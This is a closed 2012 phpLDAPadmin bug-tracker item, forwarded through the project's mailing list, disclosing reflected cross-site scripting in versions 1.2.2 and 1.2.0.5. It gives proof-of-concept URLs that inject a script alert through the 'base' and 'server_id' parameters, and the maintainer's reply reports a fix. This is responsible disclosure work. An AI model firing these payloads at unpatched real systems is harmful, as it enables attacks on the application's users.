[phpldapadmin] [ phpldapadmin-Bugs-3477910 ] XSS PLAD: 1.2.0.5 (Debian package) and 1.2.2 (sourceforge)

Bugs item #3477910, was opened at 2012-01-23 17:05
Message generated for change (Comment added) made by wurley
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=498546&aid=3477910&group_id=61828

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
>Status: Closed
>Resolution: Fixed
Priority: 5
Private: No
Submitted By: coolpixgnu (coolpixgnu)
Assigned to: Nobody/Anonymous (nobody)
Summary: XSS PLAD: 1.2.0.5 (Debian package) and 1.2.2 (sourceforge)

Initial Comment:
Regards,

Well, I attach some PoC analysis related to a XSS vulnerability to phpldapadmin. I previously coordinate with the Cert-US in order they contact you, today receive they was unable to put in contact with you.
The first discover was on January 10 for 1.1.6 version, where after noticed that the same vulnerability was discover previously. For that reason I tested later for version 1.2.2 (sourceforge) and 1.2.0.5 (Debian package).
More reference: see the files attached


Background:
===========
phpLDAPadmin is a web-based LDAP client. It provides easy, anywhere-accessible, multilanguage administration for your LDAP server. Its hierarchical tree-viewer and advanced search functionality make it intuitive to browse and administer your LDAP directory. Since it is a web application, this LDAP browser works on many platforms, making your LDAP server easily manageable from any location.


Details:
========

1.- Version 1.2.2 from Sourceforge package:http://sourceforge.net/projects/phpldapadmin/files/phpldapadmin-php5/1.2.2/phpldapadmin-1.2.2.tgz/download

Exploitables URI's: http://x.x.x.x/phpldapadmin/htdocs/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=?&scope=sub&filter=objectClass%3D*&display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search

PoC: 
http://x.x.x.x/phpldapadmin/htdocs/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&scope=sub&filter=objectClass%3D*&display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search

Exploitable variable: base

Results: XSS passing through "base" variable.

2.- Version 1.2.0.5 from debian (testing and unstable repositories)
Package:
Version: 1.2.0.5-2
Depends: apache2 | httpd, php5-ldap, libapache2-mod-php5 | libapache-mod-php5 |                                                      php5-cgi | php5, ucf (>= 0.28), debconf (>= 0.5) | debconf-2.0
Filename: pool/main/p/phpldapadmin/phpldapadmin_1.2.0.5-2_all.deb
Size: 1276080
MD5sum: 3b4058f7fc74ff95f8223bf92bb99ec7
SHA1: 2594603f2346de814195bc6aba5e97a4febb17fb
SHA256: 4e1be7218c8030f1f17c5cd4c4f4fdb69cf5315d3e4b22bb2b4cabd7cfb93d57

PoC:

https://x.x.x.x/phpldapadmin/cmd.php?server_id=<script>alert('XSS')</script>
https://x.x.x.x/phpldapadmin/index.php?server_id=<script>alert('XSS')</script>&redirect=false

Exploitable Variable: server_id

Results: XSS passing through "base" variable.

Impact: Remote attackers might be able to perform Cross-Site Scripting (XSS) attacks by various vectors.

Thanks in advance for your comments
Kind Regards



----------------------------------------------------------------------

>Comment By: Deon George (wurley)
Date: 2012-01-23 17:41

Message:
Thanks for the good bug report - fix commited to git #7dc8d57

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=498546&aid=3477910&group_id=61828

------------------------------------------------------------------------------
Keep Your Developer Skills Current with LearnDevNow!
The most comprehensive online learning library for Microsoft developers
is just $99.99! Visual Studio, SharePoint, SQL - plus HTML5, CSS3, MVC3,
Metro Style Apps, more. Free future releases when you subscribe now!
http://p.sf.net/sfu/learndevnow-d2d
______________________________________
phpLDAPadmin development mailing list.
To unsbuscribe: https://lists.sourceforge.net/lists/listinfo/phpldapadmin-devel
http://phpldapadmin.sourceforge.net/